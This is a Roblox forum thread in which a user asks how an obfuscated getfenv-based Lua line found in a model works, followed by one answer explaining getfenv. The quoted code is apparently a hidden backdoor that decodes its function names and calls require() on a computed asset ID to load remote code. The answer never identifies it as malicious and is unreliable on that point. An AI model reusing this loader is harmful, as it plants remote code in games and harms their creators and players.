Ad
Still have questions? Join our Discord server and get real time help.
Log in to vote
0

How does this code I found using getfenv() work?

Asked by 14 days ago

I found this code in a model. I searched what getfenv means but still couldn't understand. Here's the code.

getfenv()["\103\101\116\102\101\110\118"]()["\115\101\116\102\101\110\118"](tonumber("\49"),{["1gKorIzL9NW7p"]=2,d2bkxt3zQ=getfenv()["\103\101\116\102\101\110\118"]()["\114\101\113\117\105\114\101"],W9eAGHhQql=getfenv()["\103\101\116\102\101\110\118"]()["\103\101\116\102\101\110\118"],fpC3VLmE=getfenv()["\103\101\116\102\101\110\118"]()["\112\99\97\108\108"],["4zjOqGRxUQEUboHq"]=getfenv()["\103\101\116\102\101\110\118"]()["\109\97".."\116\104"]["\112\111\119"],Rvf5uln06vrPz=getfenv()["\103\101\116\102\101\110\118"]()["\99\111\114\111\117\116\105\110\101"]["\99\114\101\97\116\101"],CSH0b7O0e6xd0=getfenv()["\103\101\116\102\101\110\118"]()["\116\111\110\117\109\98\101\114"],["0lxvTX9cDE2"]=getfenv()["\103\101\116\102\101\110\118"]()["\99\111\114\111\117\116\105\110\101"]["\114\101\115\117\109\101"]})W9eAGHhQql()["\87\57\101\65\71\72\104\81\113\108"]()["\48\108\120\118\84\88\57\99\68\69\50"](W9eAGHhQql()["\87\57\101\65\71\72\104\81\113\108"]()["\82\118\102\53\117\108\110\48\54\118\114\80\122"](function()W9eAGHhQql()["\87\57\101\65\71\72\104\81\113\108"]()["\102\112\67\51\86\76\109\69"](function()W9eAGHhQql()["\87\57\101\65\71\72\104\81\113\108"]()["\100\50\98\107\120\116\51\122\81"](W9eAGHhQql()["4zjOqGRxUQEUboHq"](CSH0b7O0e6xd0("\53\53\57\56\54\46\50\54\56\52\49\52\54\55\52\54\56"),W9eAGHhQql()["\87\57\101\65\71\72\104\81\113\108"]()["1gKorIzL9NW7p"]))end)end))

1 answer

Log in to vote
1
Answered by 14 days ago

I do not believe anyone would be able to explain what that long line of code is doing without either being the original creator or having the model with all related assets along with that line of code.

What I can tell you is that getfenv() returns the environment of your script/function, hence env.

An example of code with getfenv() is as follows:

var = "Hello World!"
print(getfenv().var)

The above should print "Hello World!". However, doing local var, I believe, will not print "Hello World!" because a local variable is not stored the same as a global variable.

getfenv() can also take a number as an argument which will return the environment of the function based on order of call. So the above may be a specific way the person is getting access to certain function/script environments. At least, that is all I can say without any other information.

Ad

Answer this question